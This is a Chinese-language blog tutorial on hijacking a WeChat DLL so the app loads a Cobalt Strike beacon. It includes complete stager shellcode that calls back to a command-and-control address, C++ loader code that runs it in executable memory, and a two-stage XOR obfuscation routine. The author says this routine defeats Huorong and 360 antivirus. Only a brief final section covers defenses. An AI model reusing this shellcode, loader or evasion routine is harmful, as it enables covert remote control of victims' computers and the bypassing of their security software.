看我如何用微信上线CobaltStrike
阅读原文时间:2020年12月12日阅读:1

前言

  DLL劫持漏洞是老生常谈的一个漏洞,已经被前辈们各种奇技淫巧玩烂。但DLL劫持技术在后渗透和域渗透中的权限提升和权限维持都起到了至关重要的作用。本文简单剖析DLL劫持技术并通过实例应用来查看如何在渗透工作中利用此项技术。篇幅稍长,各位读者耐心观看,文中有不妥之处请各位加以斧正。

DLL劫持原理

什么是DLL?

  DLL是动态链接库文件,在Windows系统中,应用程序并不是一个完整的可执行文件,它需要调用对应的DLL来完成相应的功能。一个应用程序可以使用多个DLL,一个DLL可以被多个应用程序使用。

DLL劫持漏洞产生原因

  开发者在调用DLL时没有指定绝对路径,那么Windows就会按照特定的顺序去查找DLL,因此,黑客如果能够优先将DLL置于有效目录,就能够欺骗系统加载恶意DLL,实现DLL劫持。

  如上图,应用程序执行需调用LPK.dll,该DLL在"C:Windowssystem32"目录下,但是由于系统优先搜索当前目录"C:UserspcDesktop",所以如果当前目录存在恶意的DLL,程序会优先加载,从而导致漏洞产生。

Windows中应用程序搜索DLL的顺序

  Window中默认搜索DLL的顺序为:

1.程序所在目录
2.系统目录即 SYSTEM32 目录。
3.16位系统目录即 SYSTEM 目录。
4.Windows目录。
5.加载 DLL 时所在的当前目录。
6.PATH环境变量中列出的目录。

  为了应对DLL劫持漏洞,微软在Windows7以上的版本将一些容易受到劫持的DLL写入了注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs中,在此项中的DLL都被禁止从程序所在目录调用,而只能从系统目录"C:WindowsSystem32"中调用。

  不过终究是治标不治本,事实上攻击者只需要查找KnownDLLs注册表项中不存在且被应用程序调用的DLL,即可绕过这一限制。

DLL劫持的一般步骤

劫持Windows应用程序的DLL一般需要以下步骤:

1.启动应用程序
2.使用ProcessMonitor等工具查看应用程序启动后加载的DLL
3.从加载的DLL中筛选出不存在于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs注册表项中的DLL
4.编写劫持代码生成劫持DLL
5.将编写好的DLL置于程序目录中并重新启动程序
6.查看是否劫持成功

如何利用DLL劫持微信并上线CS

这里我们通过劫持最新版微信,来更直观的认识和了解DLL劫持漏洞的利用。

DLL选择

首先下载安装最新版微信并运行,使用ProcessMonitor查看微信运行后调用的DLL情况。

Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

这里我们需要将图示红框中的功能关闭,它们分别是注册表监控、网络监控、进程线程监控,我们只需要监控文件系统。

接下来我们需要筛选出微信程序的文件监控,在Filter中选择Filtel..,创建如下规则:

添加并应用规则后,我们可以更直观地观察微信程序调用DLL的情况。存在劫持漏洞的DLL一般存在以下几个特征:

不在注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs中
先从程序当前目录调用,并在搜索不到后进入系统目录调用

这里发现有几个DLL符合特征,我们选择DDRAW.DLL进行测试:

测试发现劫持某些DLL会导致微信退出时崩溃,建议在测试环境测试后再投入实战

  

事实上,对于在可能存在劫持漏洞DLL的查找上面已经有相关的懒人工具,如DLL Hijacking Auditor、rattler、DLLHijack_Detecter等等,但相应的存在一定的误报率和运行问题。

劫持DLL制作

编写一个劫持DLL,需要两个步骤:

查看被劫持DLL的导出函数表
编写实现劫持DLL向原DLL的函数转发,并在过程中加入你的恶意代码

这对不熟悉编程技术的安全从业者来说是一个复杂的过程,但我们可以使用AheadLib或DLL_Hijacker.py这两款工具来生成相应的cpp代码,只要简单加入我们的劫持代码并重新编译出DLL即可。(个人喜欢使用后者来生成代码,原因有二,一是python脚本使用方便,二是AheadLib使用易语言编写,杀软对易语言程序不友好。两款工具工作笔者都已测试,编译生成的DLL皆完好可使用)

工具下载地址:

AheadLib:https://github.com/strivexjun/AheadLib-x86-x64
DLL_Hijacker:https://github.com/coca1ne/DLL_Hijacker

这里我们利用DLL_Hijacker.py生成对应的cpp代码:

python DLL_hijacker.py c:\Windows\SysWOW64\ddraw.dll

接下来我们在VS2015中新建项目,创建c++空项目,命名为DDRAW:

在项目属性中我们需要进行简单设置,将配置类型改为动态库(.dll),MFC的使用改为在使用标准Windows库,目标文件扩展名改为.dll

MFC的使用选择在静态库中使用MFC会将相关代码写入DLL中,可以运行在没有相关DLL的系统中,但是缺点是生成的DLL体积较大,选择此选项保证DLL在不同系统中可以正常运行。

在项目的源文件中新建DDRAW.cpp文件,并将DLL_hijacker.py生成的cpp代码粘贴过来后编译:

然后我们将编译好的DLL放入微信程序目录中,并重新启动微信,可以发现劫持成功:

DLL劫持到CS上线

当然我们并不能满足于单纯的弹框,我们需要利用此漏洞来实现权限维持。

首先cs生成shellcode:

在代码中申请执行内存并执行我们的shellcode,核心代码如下:

typedef void(__stdcall* JMP_SHELLCODE)();

unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x37\x6d\x44\x74\x00\x0e\x10\x00\x9d\x32\xdc\x4d\xa3\xd2\x4c\x42\xbb\x3a\x26\x92\x3a\xea\xd9\x2c\x08\x8a\xaa\x18\xd3\x3b\x30\xcc\xe4\x01\x3a\xe7\x36\x68\x6a\x0b\x0a\x16\xe5\xc2\xc2\xfb\x17\x53\xdd\x85\x34\x49\x4d\xe3\x57\xb6\x53\xf5\xd9\xfc\xbc\xbf\x61\x42\xd1\x17\xb1\x93\x36\x65\xd9\x78\x54\xc4\x8f\x9c\x76\xa9\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x32\x29\x0d\x0a\x00\x84\xdc\xd4\xde\x3c\x35\x45\x34\xdd\x7c\xcf\x75\x18\x5d\x7b\x82\xb5\xc7\x62\x1b\xc1\x6a\x9b\x85\x4e\x21\x82\x75\x88\x8d\xb2\x9a\x49\x4d\x07\xc7\x4d\x9d\x0c\xc4\xb6\xc6\x3e\xec\xc5\x12\x13\xfc\x00\x94\x17\xa6\xdf\x3e\xa1\x6a\xa9\x47\xb7\xc7\x63\x72\xba\xae\x8a\x37\xf1\x2a\xac\x5d\x5c\x59\x83\x7b\xa1\xf5\xfc\x9b\x52\x28\xb4\x5a\x13\x65\xc3\xe0\x59\x1e\xd0\xe5\x33\x8e\x4f\x5f\x1f\x0c\x84\xcd\xf6\x78\x76\x26\xfa\x4c\xaa\xc5\x7d\x13\x93\x9d\x47\x84\x53\xb8\xa3\x7a\x29\xf9\xc1\x47\x0a\xdd\xfc\x80\x04\xae\xa8\xeb\x64\xa3\xb6\xb0\x7f\x1f\xd7\x56\x31\x87\xc8\x8b\x60\x39\x3c\xed\xb8\xa9\x7e\x5b\xbe\x07\xe1\x0f\x7b\xc3\x88\xe2\x8d\xc9\xb7\x03\x6a\xd3\xd6\x3a\x34\x4a\xb8\x36\x6f\x0a\xdb\x8c\xf5\x23\x95\xb0\x15\x30\xfc\x33\xa2\x2c\x63\x69\x12\xbb\x98\x9e\xf6\x4d\x82\xaa\xca\x72\x51\x1f\xca\x10\x44\x65\xb1\xd9\xd6\x7d\xc9\xaa\x0d\x0e\xda\xdb\x88\x4b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}

然后创建线程并在主函数dllmain中执行即可。将编译好的DLL置于微信目录,重启微信,此时CS成功上线:

绕过杀软上线CS

在实际环境中,shellcode可能会被杀软识别查杀,我们还需要对shellcode进行免杀处理。我们可以把shellcode加密处理,执行的过程中再进行解密,此时shellcode便具有一定的免杀能力。也可以对shellcode进行分段多重加密再分段解密,免杀效果会更好。

在安装了杀毒软件的环境中,DLL编译完成后被查杀:

我们考虑通过加密的方式将我们的shellcode隐藏。 这里我们新建工程,在代码中,我们使用XOR方式将shellcode分段加密,利用程序获取加密后的shellcode,核心代码如下:

#define KEY 0x99 //第一段XOR key
unsigned char ShellCode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x53\x58\x6c\x45\x00\x81\x43\xba\xf6\x98\x63\x16\xc9\x6a\x76\x08\xd9\xa1\x22\x06\xb9\x91\xae\xf2\x9c\x43\x54\x45\x60\x4d\xca\x7d\x34\x1d\x0d\xcc\xe9\x9b\xe3\x8b\xb5\xa2\x18\xf8\x88\x22\x0b\x29\xdb\x90\x31\xb6\x82\x96\xc4\x18\x74\x66\x42\x0a\xef\x66\x40\x14\xf5\x9e\x6d\x93\x2b\xcb\x33\x3a\xf4\xbf\x27\x74\xd7\x81\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x82\x79\xfd\xc6\xc5\xfc\x18\x09\xf1\x8d\xda\x55\xf4\x79\x75\x7d\x85\xf7\x98\x75\x65\xaa\xe7\xee\xb4\x9c\xed\x10\x87\x33\x38\x34\x6f\x2e\x6c\x83\x0a\x78\x28\x58\x1f\x91\x58\x50\x73\xca\x05\x6a\xf0\xe3\x12\x9e\x31\x5d\xbf\x02\xb1\x8b\xf5\x8e\xc9\x3a\xee\x97\x3a\x9a\x6b\x32\x3d\xd1\x31\x63\x3f\xeb\xd0\xe0\xa0\x5d\x00\xb9\xd9\xe6\x7e\x0a\x89\xd6\xcf\x94\xa7\x3c\x74\xea\x2c\x69\xec\x54\x39\xe1\x66\xbb\x83\xa9\x2b\x0d\xe0\xe0\xc7\xcd\xa9\x88\x5b\x06\x84\xfa\x87\xf7\x84\x03\x0c\xa7\xb0\xaa\x3b\x09\xea\xf0\x6b\xce\x9c\xa2\xf4\xec\x21\x8b\x5c\x12\xae\x93\xb9\x2e\xd6\x3f\x15\x8e\xa1\x46\xec\x87\x72\x2f\x70\xd7\x4e\xe9\x5c\x24\x56\xab\xce\xae\x5e\xd2\x0b\x7a\x56\x12\xdd\x5a\x33\x7c\x8b\x23\x4e\x32\xc0\xac\x90\x89\xec\xab\xd6\x3c\x9c\x34\xd0\xd0\x56\x52\xed\xf0\xc9\x3a\xe4\x8a\x9e\x9d\x87\xe9\x51\x19\xec\xa6\xf1\x7f\x19\xa2\x52\x69\x03\x22\x3e\xc2\x44\xc8\x42\x6c\xa7\x1c\x54\x98\x78\x33\x6d\xe3\xb4\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";
int main()
{
unsigned char enShellCode1[sizeof(ShellCode)];
unsigned char enShellCode2[sizeof(ShellCode)];
for (int i = 0; i < sizeof(ShellCode) - 501; i++)
{
   enShellCode1<i> = ShellCode<i> ^ KEY; //第一段XOR加密
   printf("\\x%x", enShellCode1<i>); //获取第一段加密结果
}
char key[] = "chris"; //第二段XOR key
int j = 0;
for (int i = sizeof(ShellCode) - 501; i < sizeof(ShellCode)-1; i++)
{
   if (j == sizeof(key) - 1)
     j = 0;
   enShellCode2<i> = ShellCode<i> ^ key[j]; //第二段XOR加密
   j++;
   printf("\\x%x", enShellCode2<i>);  //获取第二段加密结果
}
return 0;
}

拷贝结果,替换劫持代码中的shellcode,并在执行函数中将我们的原始shellcode解密出来,核心代码如下:

#define KEY 0x99 //第一段key
unsigned char shellcode[] = "\x65\x71\x10\x99\x99\x99\xf9\x10\x7c\xa8\x4b\xfd\x12\xcb\xa9\x12\xcb\x95\x12\xcb\x8d\x12\xeb\xb1\x96\x2e\xd3\xbf\xa8\x66\xa8\x59\x35\xa5\xf8\xe5\x9b\xb5\xb9\x58\x56\x94\x98\x5e\x7b\x69\xcb\xce\x12\xcb\x89\x12\xdb\xa5\x98\x49\x12\xd9\xe1\x1c\x59\xed\xd3\x98\x49\xc9\x12\xd1\x81\x12\xc1\xb9\x98\x4a\x7a\xa5\xd0\x12\xad\x12\x98\x4f\xa8\x66\xa8\x59\x35\x58\x56\x94\x98\x5e\xa1\x79\xec\x6d\x9a\xe4\x61\xa2\xe4\xbd\xec\x7b\xc1\x12\xc1\xbd\x98\x4a\xff\x12\x95\xd2\x12\xc1\x85\x98\x4a\x12\x9d\x12\x98\x49\x10\xdd\xbd\xbd\xc2\xc2\xf8\xc0\xc3\xc8\x66\x79\xc1\xc6\xc3\x12\x8b\x72\x1f\xc4\xf1\xf7\xfc\xed\x99\xf1\xee\xf0\xf7\xf0\xcd\xf1\xd5\xee\xbf\x9e\x66\x4c\xa8\x66\xce\xce\xce\xce\xce\xf1\xa3\xcf\xe0\x3e\x66\x4c\x70\x1d\x99\x99\x99\xc2\xa8\x50\xc8\xc8\xf3\x9a\xc8\xc8\xf1\x21\xbb\x99\x99\xca\xc9\xf1\xce\x10\x6\x5f\x66\x4c\x72\xe9\xc2\xa8\x4b\xcb\xf1\x99\x9b\xd9\x1d\xcb\xcb\xcb\xca\xcb\xc9\xf1\x72\xcc\xb7\xa2\x66\x4c\x10\x5f\x1a\x5a\xc9\xa8\x66\xce\xce\xf3\x66\xca\xcf\xf1\xb4\x9f\x81\xe2\x66\x4c\x1c\x59\x96\x1d\x5a\x98\x99\x99\xa8\x66\x1c\x6f\xed\x9d\x10\x60\x72\x90\xf1\x33\x5c\x7b\xc4\x66\x4c\x10\x58\xf1\xdc\xb8\xc7\xa8\x66\x4c\xa8\x66\xce\xf3\x9e\xc8\xcf\xc9\xf1\x2e\xce\x79\x92\x66\x4c\x26\x99\xb6\x63\x68\x4b\xae\x7\xd4\x59\x8d\x80\xe2\x62\x68\x72\x80\xba\x62\x68\x72\x81\xf8\x9c\x97\x8d\x46\x20\x3b\x4\x37\x69\xf2\x20\xd2\x84\xf1\x10\x75\xa1\x18\x1f\x7b\xba\xc9\x50\x6f\xca\xf2\xc6\x80\xf5\x30\x37\x2d\x12\x24\xb9\x1e\x5c\x6f\x64\xbf\x8a\xf3\x91\xe2\xc6\xc1\x70\x8a\xe1\x51\x68\x41\xa9\xf9\x42\xd5\xea\xe4\xad\x6b\x17\xe\x30\x63\x9c\x5\x28\x66\x9c\xed\xe\xfb\x59\xa2\x40\x59\x9c\xcd\x4e\x7\xb4\xe9\x72\x3c\x0\x6\x1a\x5f\x28\x14\x6\x6\x6\x53\x53\x2e\x7\x8\x0\x1f\xf\x9\x5d\x5c\x5d\x53\x48\x5a\xa\x1c\xe\x18\x13\x1d\x1a\x1\x4\x17\x52\x53\x2e\x3b\x3b\x2c\x53\x5a\x46\x42\x52\x53\x34\x1\x1c\xd\x1c\x14\x1b\x52\x27\x27\x43\x5e\x5c\x59\x48\x43\x3c\x0\x0\x17\x6\x6\x6\x46\x46\x4d\x58\x5b\x64\x79\x63\xea\xb\x94\xb5\xa6\x94\x6a\x60\x82\xee\xb2\x27\x9d\xa\x16\x15\xf7\x9e\xeb\x16\xd\xd8\x8e\x9d\xd7\xf4\x9f\x79\xf4\x50\x50\x46\x6\x5d\xf\xeb\x78\x11\x5b\x3b\x77\xe3\x31\x23\x10\xa2\x77\x3\x83\x80\x7a\xec\x58\x2e\xdc\x6a\xc3\xe2\x86\xed\xa1\x48\x87\xe4\x59\xf2\x19\x5b\x4e\xb2\x59\x11\x56\x98\xb3\x88\xd2\x34\x73\xda\xb1\x94\x17\x79\xea\xbe\xbd\xfd\xd4\x5f\x1c\x98\x45\x1a\x8f\x3c\x4b\x88\x15\xd8\xeb\xdb\x42\x7e\x83\x88\xb5\xa4\xda\xeb\x33\x74\xed\x89\xe4\x9f\xf6\x6a\x7f\xc4\xd8\xd8\x52\x7a\x89\x98\x19\xa7\xef\xc1\x9c\x9e\x48\xf8\x3f\x7a\xdc\xfa\xca\x4d\xbe\x4d\x7c\xfd\xc2\x2e\x9e\xee\x1\x4c\x18\xa5\x27\x9a\x3f\x4c\x24\xc2\xbd\xcd\x36\xa0\x62\x9\x35\x7a\xaf\x33\x40\x1f\xe3\x51\x27\x41\xa3\xc4\xe2\xe0\x9f\xc8\xbe\x4e\xf5\x47\xb3\xb8\x24\x3b\x9e\x93\xa1\x48\x8d\xf9\xfd\xf5\xf5\x80\x22\x7a\x84\xd4\x98\xc\x7a\xca\x20\x0\x70\x41\x56\xb0\x2d\xbb\x21\x4\xd5\x75\x27\xfb\x10\x41\x4\x90\xd7\x68\x1a\x99\xc6\xc1\x3e\x8d\xbc\x19\x23\x0\x72\x79\x73\x63\x0\x72\x69\x33\x63\x3f\x1a\x31\xd7\x30\x8d\x8d\xbc\xe0\xda\x68\x72\x69\x73\x62\xb1\x23\x3a\xfa\x84\x3f\x1a\x69\x53\x63\x68\x21\x3f\x1b\x71\xfe\xfb\x8b\x8c\xb6\xed\xb2\x1d\xb5\xe8\x6f\x73\xaa\xf6\xa3\x1d\x97\x31\xb0\x8b\xc1\x8f\x96\x8c\x52\x51\x40\x47\x42\x55\x50\x5c\x58\x46\x54\x46\x43\x5a\x47\x63\x7a\x46\x3f\xb";
unsigned char shellcode2[sizeof(shellcode)];

char key[] = "chris"; //第二段key

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
for (int i = 0; i < sizeof(shellcode) - 501; i++)
{
   shellcode2<i> = shellcode<i> ^ KEY; //解密第一段
}
int j = 0;
for (int i = sizeof(shellcode) - 501; i < sizeof(shellcode) - 1; i++)
{
   if (j == sizeof(key) - 1)j = 0;
   shellcode2<i> = shellcode<i> ^ key[j]; //解密第二段
   j++;
}

LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode2, sizeof(shellcode2));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}

此时,我们的DLL编译完成后已经不会被杀软查杀,将DLL放入微信目录中,启动微信:

成功上线,执行命令,火绒与360均无反应。

其他玩法

当然DLL劫持还有很多其他玩法,如利用InjectProc实现自动注入,backdoor-factory免杀结合MSF上线,IAT导入表注入劫持,权限提升等,篇幅有限,这里不作赘述,各位可自行尝试。

工具链接:

InjectProc:https://github.com/secrary/InjectProc/releases
backdoor-factory:https://github.com/secretsquirrel/the-backdoor-factory
IAT:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ 提取码:c29j

如何防范DLL劫持

对于DLL劫持漏洞产生的原因,并不能单一的归咎于微软,只能说这是微软的一个“设计缺陷”,要从根本上防御DLL劫持漏洞,除了微软提供的“安全DLL搜索模式”和“KnownDLLs注册表项”机制保护DLL外,开发人员必须要做更多来保护应用程序自身。开发过程中,调用LoadLibrary,LoadLibraryEx等会进行模块加载操作的函数时,使用模块的物理路径作为参数。在程序调用DLL时使用“白名单”+ “签名”进行DLL的验证。 不过即使使用了这些防御措施,DLL劫持漏洞依旧可能会存在,更何况目前很多厂商对于DLL劫持漏洞都是持“忽略”的态度。

参考资料

DLL劫持原理与实践
老树开新花:DLL劫持漏洞新玩法
Dll劫持漏洞详解